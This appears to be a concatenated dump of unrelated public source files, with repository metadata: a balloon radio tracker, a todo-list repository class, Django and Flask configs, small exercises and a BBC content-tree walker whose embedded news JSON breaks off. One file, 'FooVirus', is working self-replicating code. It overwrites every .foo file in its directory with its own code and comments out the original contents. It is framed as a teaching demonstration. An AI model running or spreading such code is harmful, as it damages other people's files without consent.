rule/entry") def rename_label(self, old_label, new_label): self.parse_tree.rename_label(old_label, new_label) def swap_rules(self, rule1, rule2): index1 = self.rule_list.items.index(rule1) index2 = self.rule_list.items.index(rule2) self.rule_list.items[index1], self.rule_list.items[index2] = self.rule_list.items[index2], self.rule_list.items[index1] def swap_entries(self, entry1, entry2): index1 = self.lexicon_list.items.index(entry1) index2 = self.lexicon_list.items.index(entry2) self.lexicon_list.items[index1], self.lexicon_list.items[index2] = self.lexicon_list.items[index2], self.lexicon_list.items[index1] def undo(self): self.previous_action.undo() def help(self): print("Available commands: clear_rules, clear_lexicon, export_parse_tree, add_constraint, remove_constraint, rename_label, swap_rules, swap_entries, undo, help, generate_fst, parse_tree, display_c_structure_constraints, display_f_structure_constraints, add_c_structure_constraint, add_f_structure_constraint, remove_c_structure_constraint, remove_f_structure_constraint") def generate_fst(self): # code for generating finite state transducer def invalid_command(self): print("Invalid command")
072b98df392180359961bffc5f7ca2b41c6df683
a40a59372ef7b5287806eab47527a9271b508604
/test.py
9accd02254a67a80106309d42745b3d8b325a87f
[]
no_license
JarlPatrick/Reaalkooli_lend
5632b42035fe2547eb19c3c33c7935e258b1a219
a7565b944b8099c0c5365c9f697c322ab37b3266
refs/heads/master
2021-10-16T15:08:37.211845
2019-02-11T19:39:47
2019-02-11T19:39:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,889
py
from pytrack.rtty import * from pytrack.lora import * from pytrack.led import * from pytrack.temperature import * from pytrack.cgps import * from pytrack.camera import * from pytrack.telemetry import * from time import sleep import threading import configparser import bme280 import RPi.GPIO as GPIO class Tracker(object): # HAB Radio/GPS Tracker def __init__(self): """ This library uses the other modules (CGPS, RTTY etc.) to build a complete tracker. """ self.camera = None self.lora = None self.rtty = None self.SentenceCallback = None self.ImageCallback = None self.andmed = [] def _TransmitIfFree(self, Channel, PayloadID, ChannelName, ImagePacketsPerSentence): if not Channel.is_sending(): # Do we need to send an image packet or sentence ? # print("ImagePacketCount = ", Channel.ImagePacketCount, ImagePacketsPerSentence) if (Channel.ImagePacketCount < ImagePacketsPerSentence) and self.camera: Packet = self.camera.get_next_ssdv_packet(ChannelName) else: Packet = None if Packet == None: print("Sending telemetry sentence for " + PayloadID) Channel.ImagePacketCount = 0 # Get temperature InternalTemperature = self.temperature.Temperatures[0] # Get GPS position position = self.gps.position() # Build sentence Channel.SentenceCount += 1 fieldlist = [PayloadID, Channel.SentenceCount, position.time, "{:.5f}".format(position.lat), "{:.5f}".format(position.lon), int(position.alt), position.sats, "{:.2f}".format(InternalTemperature)] self.andmed = fieldlist if self.SentenceCallback: fieldlist.append(self.SentenceCallback()) sentence = build_sentence(fieldlist) print(sentence, end="") f = open("/home/pi/lend/log.txt", "a") f.write(sentence) # Send sentence Channel.send_text(sentence) else: Channel.ImagePacketCount += 1 print("Sending SSDV packet for " + PayloadID) Channel.send_packet(Packet[1:]) def set_rtty(self, payload_id='CHANGEME', frequency=434.200, baud_rate=50, image_packet_ratio=4): """ This sets the RTTY payload ID, radio frequency, baud rate (use 50 for telemetry only, 300 (faster) if you want to include image data), and ratio of image packets to telemetry packets. If you don't want RTTY transmissions, just don't call this function. """ self.RTTYPayloadID = payload_id self.RTTYFrequency = frequency self.RTTYBaudRate = baud_rate self.RTTYImagePacketsPerSentence = image_packet_ratio self.rtty = RTTY(self.RTTYFrequency, self.RTTYBaudRate) def set_lora(self, payload_id='CHANGEME', channel=0, frequency=424.250, mode=1, DIO0=0, camera=False, image_packet_ratio=6): """ This sets the LoRa payload ID, radio frequency, mode (use 0 for telemetry-only; 1 (which is faster) if you want to include images), and ratio of image packets to telemetry packets. If you don't want LoRa transmissions, just don't call this function. Note that the LoRa stream will only include image packets if you add a camera schedule (see add_rtty_camera_schedule) """ self.LoRaPayloadID = payload_id self.LoRaChannel = channel self.LoRaFrequency = frequency self.LoRaMode = mode self.LORAImagePacketsPerSentence = image_packet_ratio self.lora = LoRa(Channel=self.LoRaChannel, Frequency=self.LoRaFrequency, Mode=self.LoRaMode, DIO0=DIO0) def add_rtty_camera_schedule(self, path='images/RTTY', period=60, width=320, height=240): """ Adds an RTTY camera schedule. The default parameters are for an image of size 320x240 pixels every 60 seconds and the resulting file saved in the images/RTTY folder. """ if not self.camera: self.camera = SSDVCamera() if self.RTTYBaudRate >= 300: print("Enable camera for RTTY") self.camera.add_schedule('RTTY', self.RTTYPayloadID, path, period, width, height) else: print("RTTY camera schedule not added - baud rate too low (300 minimum needed") def add_lora_camera_schedule(self, path='images/LORA', period=60, width=640, height=480): """ Adds a LoRa camera schedule. The default parameters are for an image of size 640x480 pixels every 60 seconds and the resulting file saved in the images/LORA folder. """ if not self.camera: self.camera = SSDVCamera() if self.LoRaMode == 1: print("Enable camera for LoRa") self.camera.add_schedule('LoRa0', self.LoRaPayloadID, path, period, width, height) else: print("LoRa camera schedule not added - LoRa mode needs to be set to 1 not 0") def add_full_camera_schedule(self, path='images/FULL', period=60, width=0, height=0): """ Adds a camera schedule for full-sized images. The default parameters are for an image of full sensor resolution, every 60 seconds and the resulting file saved in the images/FULL folder. """ if not self.camera: self.camera = SSDVCamera() self.camera.add_schedule('FULL', '', path, period, width, height) def set_sentence_callback(self, callback): """ This specifies a function to be called whenever a telemetry sentence is built. That function should return a string containing a comma-separated list of fields to append to the telemetry sentence. """ self.SentenceCallback = callback def set_image_callback(self, callback): """ The callback function is called whenever an image is required. **If you specify this callback, then it's up to you to provide code to take the photograph (see tracker.md for an example)**. """ self.ImageCallback = callback def __ImageCallback(self, filename, width, height): self.ImageCallback(filename, width, height, self.gps) def __transmit_thread(self): while True: if self.rtty: self._TransmitIfFree(self.rtty, self.RTTYPayloadID, 'RTTY', self.RTTYImagePacketsPerSentence) if self.lora: self._TransmitIfFree(self.lora, self.LoRaPayloadID, 'LoRa0', self.LORAImagePacketsPerSentence) sleep(0.01) def start(self): """ Starts the tracker. """ LEDs = PITS_LED() self.temperature = Temperature() self.temperature.run() self.gps = GPS(when_lock_changed=LEDs.gps_lock_status) if self.camera: if self.ImageCallback: self.camera.take_photos(self.__ImageCallback) else: self.camera.take_photos(None) t = threading.Thread(target=self.__transmit_thread) t.daemon = True t.start() GPIO.setmode(GPIO.BCM) GPIO.setup(25, GPIO.OUT) p = GPIO.PWM(25,50) p.start(7.5) def openfan(): p.ChangeDutyCycle(2.5) def closefan(): p.ChangeDutyCycle(7.5) def extra_telemetry(): tmp,pre,hum = bme280.readBME280All() return "{:.2f}".format(tmp) + ',' + "{:.5f}".format(pre) + ',' + "{:.5f}".format(hum) MT = Tracker() MT.set_rtty(payload_id='Reaalkool', frequency=434.250, baud_rate=300) MT.start() MT.set_sentence_callback(extra_telemetry) while True: sleep(5) if(MT.andmed[5] > 20000): openfan() else: closefan()
e8bf8b6aef00c0bc98a920019e99c8e607d7ccf8
ac2d3050b9b64ed850ee7dcdd4cd8009d79c8c62
/lib/real.py
5d920edeec6143e45c7d848be87b68264e1d2e0f
[]
no_license
tgwizard/backbone-todo-list
63b2e216371e04359d6a69be719112ba77bd83e3
3b3708b39a281928e7a42adef28ab01700bc80fc
refs/heads/master
2020-05-16T08:17:15.094789
2014-06-30T10:48:37
2014-06-30T10:48:37
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,190
py
# -*- coding: utf-8 - from uuid import uuid4 class TodoListRepo(object): def __init__(self, db): self.todo_lists = db.todo_lists def get_list(self, list_id): list = self.todo_lists.find_one({ '_id': list_id }) or { 'items': [] } return list['items'] def create_list_item(self, list_id, new_item): new_item['id'] = str(uuid4()) self.todo_lists.update({ '_id': list_id }, { '$push': { 'items': new_item } }, upsert=True) return new_item def update_list_item(self, list_id, updated_item): self.todo_lists.update({ '_id': list_id, 'items.id': updated_item['id'] }, { '$set': { 'items.$': updated_item } }) return updated_item def update_list_item_position(self, list_id, item_id, pos): list = self.todo_lists.find_one({ '_id': list_id, 'items.id': item_id }, { 'items.$': 1 }) if list is None: raise KeyError('Could not find list') item = list['items'][0] self.todo_lists.update({ '_id': list_id }, { '$pull': { 'items': { 'id': item_id } } }) self.todo_lists.update({ '_id': list_id }, { '$push': { 'items': { '$each': [item], '$position': pos } } })
c4eea08c3c836862526b83f9934b213b95e57108
12404663f766ba22755fef4b09d7e2389124ea03
/leanai/asgi.py
5a643db6d05435cb8c1b868ce30419745eecb452
[]
no_license
jprice8/leanai
a0035139fccb39975cd97151f08c2cefa3f0b4e7
93be6df32b63ca76115f7af3b1841fe1388b1ba4
refs/heads/master
2023-02-16T17:15:51.694512
2020-12-21T20:38:40
2020-12-21T20:38:40
316,081,137
1
0
null
null
null
null
UTF-8
Python
false
false
389
py
""" ASGI config for leanai project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'leanai.settings') application = get_asgi_application()
9740f01cab9b7a3fe74c1358caafa3f11e78a61f
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/nnsept.py
d01d74ddda82c5d58013cecef328232977d8dd27
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
778
py
ii = [('LyelCPG2.py', 2), ('SadlMLP.py', 3), ('WilbRLW.py', 13), ('WilbRLW4.py', 26), ('AubePRP2.py', 1), ('LeakWTI2.py', 3), ('WilbRLW5.py', 22), ('LeakWTI3.py', 13), ('PeckJNG.py', 9), ('AubePRP.py', 2), ('FitzRNS3.py', 21), ('WilbRLW2.py', 30), ('WilkJMC2.py', 1), ('KiddJAE.py', 1), ('BuckWGM.py', 2), ('LyelCPG.py', 2), ('DaltJMA.py', 4), ('WestJIT2.py', 20), ('DibdTRL2.py', 6), ('WadeJEB.py', 19), ('BackGNE.py', 19), ('LeakWTI4.py', 1), ('LeakWTI.py', 17), ('BachARE.py', 1), ('BuckWGM2.py', 1), ('WheeJPT.py', 13), ('MereHHB3.py', 2), ('WestJIT.py', 6), ('FitzRNS4.py', 40), ('FitzRNS.py', 7), ('HallFAC.py', 1), ('ThomGLG.py', 1), ('BabbCRD.py', 1), ('WilbRLW3.py', 39), ('DibdTRL.py', 9), ('FitzRNS2.py', 18), ('EvarJSP.py', 2), ('DwigTHH.py', 3), ('LyelCPG3.py', 1)]
f9a29cfceb44e893ba530b3ef2b8d99befbaf964
d20a20bdfb9e9ed878a6087f528db08320a4bd04
/Python/Spencer Appleton foofolder/foofolder/foo.py
4ed9aa0c27be3c2b9b8ebbfac7e1830579f21699
[]
no_license
Spencerappleton/all_python_attempt2
167a9bbbfe70f057670c50a181cc7b6d76706e62
90a3f8f8aea8465a699faa2d083d576fcc4c1a10
refs/heads/master
2021-01-21T21:19:12.189162
2017-06-19T19:52:07
2017-06-19T19:52:07
94,815,172
1
0
null
null
null
null
UTF-8
Python
false
false
1,114
py
#!/usr/local/bin/python3 import sys import os import glob ## FooVirus.py print("\nHELLO FROM FooVirus\n") print("This is a demonstration of how easy it is to write") print("a self-replicating program. This virus will infect") print("all files with names ending in .foo in the directory in") print("which you execute an infected file. If you send an") print("infected file to someone else and they execute it, their,") print(".foo files will be damaged also.\n") print("Note that this is a safe virus (for educational purposes") print("only) since it does not carry a harmful payload. All it") print("does is to print out this message and comment out the") print("code in .foo files.\n") IN = open(sys.argv[0], "r") virus = [line for (i,line) in enumerate(IN) if i < 37] for item in glob.glob("*.foo"): IN = open(item, "r") all_of_it = IN.readlines() IN.close() if any(line.find("foovirus") for line in all_of_it): next os.chmod(item, 0o777) OUT = open(item, "w") OUT.writelines(virus) all_of_it = ["#" + line for line in all_of_it] OUT.writelines(all_of_it) OUT.close()
52aa3774a83565a3eb6c697b01a9a3d8eff439fb
2a20134f781c392688af089f64da55c75e78904a
/28.py
28727ed334f1c0f326b0d81d2e1660eb8a3d2a3d
[]
no_license
ThinkAbout1t/kolokwium2
c468ff7a49b5bd0c5a3ded9bd873a1693e795032
960206af77727f18839532248b01c67d499443f6
refs/heads/master
2022-04-19T20:51:41.746466
2020-04-14T17:25:44
2020-04-14T17:25:44
255,676,212
0
0
null
null
null
null
UTF-8
Python
false
false
350
py
'''Знайти кількість парних елементів одновимірного масиву. виконал Пахомов Олександр''' import numpy as np import random a=np.zeros(20, dtype= int) summa=0 for i in range(20): a[i]=random.randint(100,200) if a[i]%2==0: summa+=1 print(a) print(summa)
c238ece44c393e6d187092a5df78f811393ac770
468849e1ac4c7048d8400a059fab3ea4cc36df54
/bongo_2.py
bf7e9a0864f63cc17961d00a9bb0460f176b926c
[]
no_license
mehedees/Python-Code-Test
9dfec4513a349752f7e0e426c986fd3221f5b3c9
f91f1dd83b9f18f9b29bee18bd0d1ac42dbc0ee6
refs/heads/master
2022-11-26T15:16:35.051686
2020-08-06T17:37:55
2020-08-06T17:37:55
285,633,505
0
0
null
null
null
null
UTF-8
Python
false
false
694
py
def print_depth(data, **kwargs): depth = kwargs.get('depth') or 1 if data: for k, v in data.items(): print(f"{k} {depth}") if isinstance(v, dict): print_depth(v, depth=depth+1) elif hasattr(v, '__dict__'): print_depth(v.__dict__, depth=depth+1) class Person: def __init__(self, x, y): self.x = x self.y = y if __name__ == "__main__": p1 = Person(1, None) p2 = Person(2, p1) data = { 'k1': 1, 'k2': { 'k3': 1, 'k4': { 'k5': p2, 'k6': 6 } } } print_depth(data)
835a8747bc452884396134c8aa7ff8deb91a04bb
bb34686465251ba65ea7fa63971a9ddc5cb6c365
/website/run.py
88dee9983702a0f85698c3d8aa1c99432b0205f7
[]
no_license
jmacenka/flask-nbdf
72ecf2c206442132419ee24a754b815c42ba9b61
c81e40100302f526e575453dd21b0f400f51896a
refs/heads/master
2021-06-14T02:41:14.616649
2019-09-20T21:33:59
2019-09-20T21:33:59
170,572,460
0
0
null
2021-05-08T16:52:56
2019-02-13T20:11:24
Python
UTF-8
Python
false
false
173
py
from website import socketio, app if __name__ == "__main__": #app.run(host='0.0.0.0',port=5000,debug=True) socketio.run(app, debug=True, host='0.0.0.0', port=5000)
[ "=" ]
=
fafd5d55d554054ac3914404f2cd7dbcf4ea5096
eb1e9450c15ffce6aa08df2e0f5b45903e9b9d5e
/tree_walker.py
db7e0123f1069da393be878a204778e710d062b5
[]
no_license
neilmca/py_content_tree_walker
b66737c44e1271c822938a8328e0d6f9f65e61ea
fdaa3e505ea9f897ef1e52c0a7993f66f175f573
refs/heads/master
2020-03-28T17:04:03.096292
2018-11-09T09:25:46
2018-11-09T09:25:46
148,755,242
0
0
null
null
null
null
UTF-8
Python
false
false
357,317
py
#! /usr/bin/env python import requests import os import json import datetime import sys import getopt import warnings warnings.filterwarnings("ignore") #README # Need to have the requests module installed # Use VirtualEnv # 1. python -m virtualenv env # 2. (Activate the environment) env\Scripts\activate # 3. install requests pip install requests #Example calls #python tree_walker.py -a <api_key> -i news/business -t > business_t.json #python tree_walker.py -a <api_key> -i news/business -c > business_c.json TEST_CONTENT_JSON = { "results": [ { "title": "Business", "summary": "The latest BBC Business News: breaking personal finance, company, financial and economic news, plus insight and analysis into UK and global markets.", "type": "IDX", "lastUpdated": "2018-09-13T12:37:05+00:00", "firstCreated": "2010-03-09T09:46:51+00:00", "firstPublished": "2010-07-06T07:34:26+00:00", "lastPublished": "2018-09-13T12:37:12+00:00", "changeQueueId": "127463484", "changeQueueTimestamp": "2018-09-13T12:37:05+00:00", "groups": [ { "type": "container-top-stories", "title": "Top Stories", "items": [ { "assetId": "45506322", "assetUri": "/news/business-45506322", "firstCreated": "2018-09-13T06:17:01+00:00", "hasShortForm": True, "headline": "John Lewis half-year profits slump 99%", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-13T09:02:19+00:00", "media": { "images": { "index": { "103405163": { "height": 432, "width": 768, "href": "http://c.files.bbci.co.uk/8D36/production/_103405163_9yniarol.jpg", "originCode": "cpsprodpb", "altText": "John Lewis store", "copyrightHolder": "Reuters", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "prominence": "standard", "relatedGroups": [ { "type": "index", "items": [ { "assetId": "45509122", "assetUri": "/news/business-45509122", "firstCreated": "2018-09-13T12:26:19+00:00", "headline": "Is 'Never knowingly undersold' killing John Lewis?", "language": "en-gb", "lastUpdated": "2018-09-13T12:26:19+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "John Lewis Partnership is under pressure to question the slogan that arguably defines its business model.", "type": "STY" }, { "assetId": "45506500", "assetUri": "/news/business-45506500", "firstCreated": "2018-09-13T10:13:16+00:00", "hasShortForm": True, "headline": "John Lewis boss rejects Raab Brexit jibe", "language": "en-gb", "lastUpdated": "2018-09-13T10:13:16+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The Brexit secretary says it is a mistake for businesses that \"aren't doing so well\" to blame Brexit.", "type": "STY" }, { "assetId": "45507743", "assetUri": "/news/business-45507743", "firstCreated": "2018-09-13T11:01:02+00:00", "headline": "Discount matching undermined profits says John Lewis's Charlie Mayfield", "language": "en-gb", "lastUpdated": "2018-09-13T11:01:02+00:00", "mediaType": "Video", "overtypedHeadline": "Discount matching 'undermined profits'", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "John Lewis's Charlie Mayfield tells the BBC matching rivals' deep discounting wiped out profits.", "type": "MAP" } ] } ], "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "fff", "type": "STY" }, { "assetId": "45504521", "assetUri": "/news/business-45504521", "byline": { "name": "By Simon Jack", "persons": [ { "name": "Simon Jack", "correspondentId": "simonjack", "url": "/news/correspondents/simonjack", "function": "Business editor", "thumbnail": "http://c.files.bbci.co.uk/11D8C/production/_103300137_sj.jpg", "twitterName": "BBCSimonJack", "originCode": "CPSPRODPB" } ], "title": "Business editor" }, "firstCreated": "2018-09-13T04:08:08+00:00", "hasShortForm": True, "headline": "Gordon Brown warns about next crisis", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-13T04:08:08+00:00", "media": { "images": { "index": { "103407905": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/C71A/production/_103407905_brown_crop.jpg", "originCode": "cpsprodpb", "altText": "Gordon Brown", "copyrightHolder": "BBC", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "prominence": "standard", "relatedGroups": [ { "type": "index", "items": [ { "assetId": "45502084", "assetUri": "/news/business-45502084", "firstCreated": "2018-09-12T16:03:58+00:00", "hasShortForm": True, "headline": "Hammond: Financial crisis 'shock' continues", "language": "en-gb", "lastUpdated": "2018-09-12T16:03:58+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The UK's chancellor admits peoples' incomes are suffering, but sees \"light at the end of the tunnel\".", "type": "STY" }, { "assetId": "45491533", "assetUri": "/news/business-45491533", "firstCreated": "2018-09-12T04:00:44+00:00", "headline": "Carney warns against complacency", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-12T04:00:44+00:00", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The Governor of the Bank of England tells the BBC there are four risks to financial stability.", "type": "CSP" } ] } ], "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The former prime minister tells the BBC that the world is sleepwalking into another financial crisis.", "type": "CSP" }, { "assetId": "45449121", "assetUri": "/news/live/business-45449121", "commentary": { "order": "descending", "assetUUID": "C04C872673DC044C8185E6CF867033AD", "channels": { "enhancedmobile": "bbc.cps.asset.45449127_EnhancedMobile", "desktop": "bbc.cps.asset.45449127_HighWeb", "highweb": "bbc.cps.asset.45449127_HighWeb", "mobile": "bbc.cps.asset.45449127_EnhancedMobile" } }, "firstCreated": "2018-09-07T11:25:41+00:00", "headline": "Business Live: Lira jumps on rate rise", "isLive": True, "language": "en-gb", "lastUpdated": "2018-09-07T11:25:41+00:00", "media": { "images": { "index": { "103411735": { "height": 1152, "width": 2048, "href": "http://c.files.bbci.co.uk/D1CF/production/_103411735_turkishlira.jpg", "originCode": "cpsprodpb", "altText": "Turkish lira", "copyrightHolder": "Reuters", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "prominence": "standard", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Turkish currency rebounds after the central bank defies President Erdogan and lifts interest rates.", "type": "LIV" }, { "assetId": "45508563", "assetUri": "/news/business-45508563", "firstCreated": "2018-09-13T11:03:02+00:00", "hasShortForm": True, "headline": "Bank holds rates amid Brexit uncertainty", "language": "en-gb", "lastUpdated": "2018-09-13T12:09:12+00:00", "media": { "images": { "index": { "103407089": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/17F16/production/_103407089_gettyimages-154742233.jpg", "originCode": "cpsprodpb", "altText": "Bank of England", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Policymakers at the Bank of England vote 9-0 to leave rates at 0.75% after last month's increase.", "type": "STY" }, { "assetId": "45510553", "assetUri": "/news/business-45510553", "byline": { "name": "By Bill Wilson", "persons": [ { "name": "Bill Wilson", "function": "Business reporter, BBC News", "originCode": "MCS" } ], "title": "Business reporter, BBC News" }, "firstCreated": "2018-09-13T12:05:12+00:00", "hasShortForm": True, "headline": "Premier League signs Coca-Cola as sponsor", "language": "en-gb", "lastUpdated": "2018-09-13T12:05:12+00:00", "media": { "images": { "index": { "103152509": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/1619D/production/_103152509_gettyimages-932072196.jpg", "originCode": "cpsprodpb", "altText": "Man holding Coca-Cola branded football", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "England's top football league signs a three-and-a-half-year agreement with Coke, which starts in January.", "type": "STY" }, { "assetId": "45508672", "assetUri": "/news/world-europe-45508672", "firstCreated": "2018-09-13T11:23:25+00:00", "hasShortForm": True, "headline": "Turkey bans foreign tender for home sales", "language": "en-gb", "lastUpdated": "2018-09-13T12:23:03+00:00", "media": { "images": { "index": { "103409260": { "height": 1152, "width": 2048, "href": "http://c.files.bbci.co.uk/1892/production/_103409260_gettyimages-1024421868.jpg", "originCode": "cpsprodpb", "altText": "Turkish Lira currency in Istanbul, Turkey, 27 August 2018", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Europe", "id": "99123", "uri": "/news/world/europe", "urlIdentifier": "/news/world/europe" }, "summary": "Property contracts must now be agreed in lira as President Erdogan moves to revive the currency.", "type": "STY" }, { "assetId": "45506492", "assetUri": "/news/business-45506492", "firstCreated": "2018-09-13T06:28:09+00:00", "hasShortForm": True, "headline": "Morrisons sales soar as revival continues", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-13T07:06:03+00:00", "media": { "images": { "index": { "103405275": { "height": 1152, "width": 2048, "href": "http://c.files.bbci.co.uk/DFA2/production/_103405275_morrisons.jpg", "originCode": "cpsprodpb", "altText": "Morrisons", "copyrightHolder": "Reuters", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The UK's fourth-biggest supermarket reports its best quarterly sales increase for almost a decade.", "type": "STY" }, { "assetId": "45506500", "assetUri": "/news/business-45506500", "firstCreated": "2018-09-13T10:13:16+00:00", "hasShortForm": True, "headline": "John Lewis boss rejects Raab Brexit jibe", "language": "en-gb", "lastUpdated": "2018-09-13T10:13:16+00:00", "media": { "images": { "index": { "103405776": { "height": 1152, "width": 2048, "href": "http://c.files.bbci.co.uk/108A6/production/_103405776_raab.jpg", "originCode": "cpsprodpb", "altText": "Dominic Raab", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The Brexit secretary says it is a mistake for businesses that \"aren't doing so well\" to blame Brexit.", "type": "STY" }, { "assetId": "45498235", "assetUri": "/news/business-45498235", "byline": { "name": "By Simon Jack", "persons": [ { "name": "Simon Jack", "correspondentId": "simonjack", "url": "/news/correspondents/simonjack", "function": "Business editor", "thumbnail": "http://c.files.bbci.co.uk/11D8C/production/_103300137_sj.jpg", "twitterName": "BBCSimonJack", "originCode": "CPSPRODPB" } ], "title": "Business editor" }, "firstCreated": "2018-09-13T06:12:26+00:00", "hasShortForm": True, "headline": "Bob Diamond defends risk-taking banks", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-13T06:12:26+00:00", "media": { "images": { "index": { "103392092": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/7165/production/_103392092_bobdiamond.jpg", "originCode": "cpsprodpb", "altText": "Bob Diamond", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Analysis", "categoryName": "Analysis" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Former Barclays boss Bob Diamond says risk-averse banks can't create jobs and economic growth.", "type": "CSP" }, { "assetId": "45508162", "assetUri": "/news/technology-45508162", "firstCreated": "2018-09-13T09:47:22+00:00", "hasShortForm": True, "headline": "Huawei promises foldable phone within year", "language": "en-gb", "lastUpdated": "2018-09-13T09:47:22+00:00", "media": { "images": { "index": { "103407278": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/154E6/production/_103407278_gettyimages-1027412410.jpg", "originCode": "cpsprodpb", "caption": "Huawei has not yet released any firm details about its foldable device", "altText": "A Huawei phone in front of the company logo", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Technology", "id": "99113", "uri": "/news/technology", "urlIdentifier": "/news/technology" }, "summary": "The chief executive of the Chinese firm has said it is developing a device with a fold-out screen.", "type": "STY" }, { "assetId": "45505522", "assetUri": "/news/world-asia-china-45505522", "firstCreated": "2018-09-13T05:34:46+00:00", "hasShortForm": True, "headline": "Dead rat in soup costs restaurant $190m", "language": "en-gb", "lastUpdated": "2018-09-13T05:34:46+00:00", "media": { "images": { "index": { "103404576": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/107D4/production/_103404576_raterswr.png", "originCode": "cpsprodpb", "caption": "The dead rat was fished out a pot of boiling broth", "altText": "Rat found in hotpot", "copyrightHolder": "Weibo", "allowSyndication": False } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "China", "id": "101361", "uri": "/news/world/asia/china", "urlIdentifier": "/news/world/asia/china" }, "summary": "A pregnant woman in China found the boiled rat in her dish after she had taken a few bites.", "type": "STY" }, { "assetId": "45502465", "assetUri": "/news/technology-45502465", "byline": { "name": "By Leo Kelion", "persons": [ { "name": "Leo Kelion", "function": "Technology desk editor", "originCode": "MCS" } ], "title": "Technology desk editor" }, "firstCreated": "2018-09-12T17:17:30+00:00", "hasShortForm": True, "headline": "Apple unveils iPhone XS and new Watch", "language": "en-gb", "lastUpdated": "2018-09-12T20:24:06+00:00", "media": { "images": { "index": { "103401824": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/A73A/production/_103401824_33ca92d3-9cc3-4459-ba64-5e68883f21fd.jpg", "originCode": "cpsprodpb", "altText": "Two iPhone XS phones", 